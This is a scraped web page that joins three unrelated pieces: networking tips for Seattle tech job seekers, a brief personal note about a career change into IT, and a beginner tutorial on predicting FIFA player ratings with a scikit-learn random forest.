They can also help you plan your approach to the event beforehand...
Plan to network
At most networking events, you will have to market yourself in an effective and concise way, so be prepared to pitch yourself!
Be able to speak to your current state in just a few sentences:
- Where do you work and what do you do?
- If you’re a student, where and what are you studying?
- What is your professional history?
- If what you’ve done diverges from what you’d like to do, why the transition?
- What do you want?
Practice your responses to standard questions like these so communication is natural, flows easily, and you can divert your energy to unanticipated prompts.
Are you looking to speak to specific individuals?
- Use resources like LinkedIn to ask about their path into and through the industry
- Research relevant company websites for details (you may have questions too!)
Draw connections between yourself and the industry and ask questions--conversation lulls happen!
- Find ways to be relatable and engaging through prepared talking points
- Think about how current events create ripple events through the industry.
- Ex: Will the acquisition of X necessitate departmental restructuring?
- If you’re having difficulty learning concepts, ask questions reminiscent of their learning experience and welcome tips or suggestions.
- Demonstrate your curiosity through inquiry and good feedback
- Company blogs and articles can be good ways to check the temperature of certain subjects
Networking and Event Resources
Medium - "How to Network Effectively Without Feeling Too Awkward"
LinkedIn - "12 Effective Ways to Assess Candidates' Soft Skills
Networking
Whether you're new to Seattle, attending a coding bootcamp, or are in school, building a network of connections in the tech community can bolster a successful career in tech. Seattle has a trove of resources and companies. Meeting the right people can help you find your dream job. Take advantage of living in Seattle and check out some of the networking events around the city!
Click on Networking to find out events around you!
Workshops
Continuing education is an important aspect of working in any industry, but especially in tech because tools and resources are contantly evolving. Click on Workshops and find out resources for staying connected and informed of the everchanging updates in the tech industry.


I am Kiran nawale
HE WORLD
My basic qualification is Mechanical
Now learning IT
Before 3 days i resigned my existing job
Going to finish basic learning within 3 montgs
Finally drama over


Hello World!
Today we are going to create a simple classification model by using a random forest classifier
We are gonna need the dataset for this tutorial. You can get it from here.
If you don't know it, Kaggle is an awesome website where you can find all sort of open datasets for datascience and you can also compete with other users to earn prizes.
The project folder will be like this:
Let's start coding!
from sklearn.ensemble import RandomForestClassifier
import pandas as pd
import numpy as np\n
# Let's open the dataset
players = pd.read_csv("data/Fulldata.csv")
The first thing to do is to import pandas and numpy and to open the dataset as a pandas DataFrame. Don't worry if you have never used a dataframe before, we are going to take a look at how it works.
# To check first 5 rows of the dataset
players.head()
# To check some numeric informations about a column
players.loc[:,'Rating'].describe()
# Get column names
list(players)
# Selection by label
players.loc[:,['Name','Rating']]
# Selection by index
players.iloc[:,[0,4]]
These are only a few of the many functions included in Pandas. I really suggest you to check it out.
Now we can go back to our program:
# Add a column that tells us if it's Training Data or not
players['is_train'] = np.random.uniform(0, 1, len(players)) <= .75\n
# Divide between training and testing data
train, test = players[players['is_train'] == True],players[players['is_train'] == False]\n
# We choose the columns with player stats
features = players.columns[17:53]
# Split into Training X(stats) and Y(rating) data
X = train[features]
Y = train.loc[:,'Rating']
In the first part of the code we add a column to tell us if it's train data or not by using a pandas function which creates a series of number with an uniform distribution. Then we divide our dataframe into train and test.
After this we need to choose which columns we are going to consider to train the model. We are going to use all the columns which contains player stats.
Then we split the training data into Features and Result.
# Initialize the Classifier and train it
clf = RandomForestClassifier(n_jobs=4)
clf.fit(X, Y)\n
# Get the predictions
preds = clf.predict(test[features])
We can now initialize the classifier and get the predictions.
# Create an output dataframe
out = test.loc[:,['Name','Rating']]
out['prediction'] = preds
out['diff']=out.loc[:,'Rating']-out.loc[:,'prediction']
# Let's print mean difference between predicted and actual
print('Mean difference: ',out['diff'].mean())
# And the number of exact matches
print('Exact Matches:',len(out[out['diff']==0]))
With this last step we are going to create an output dataframe from test. Then we add the column prediction and diff(difference between predicted value and rating) and finally we print the mean difference and the number of exact matches.
Your output should be similar to this:
Mean difference: 0.5449783648371669
Exact Matches: 821
We can also check the content of the output dataframe.
#Let's print the players with rating and prediction
print(out.loc[:,['Name','Rating','prediction','diff']])
# OUTPUT
# Name Rating prediction diff
#0 Cristiano Ronaldo 94 88 6
#3 Luis Suárez 92 88 4
#4 Manuel Neuer 92 81 11
#8 Zlatan Ibrahimović 90 85 5
#10 Jérôme Boateng 89 85 4
We can improve our score by using another algorithm, but i think it's enough for today. You can download the code of this post here
Have fun experimenting with other datasets!


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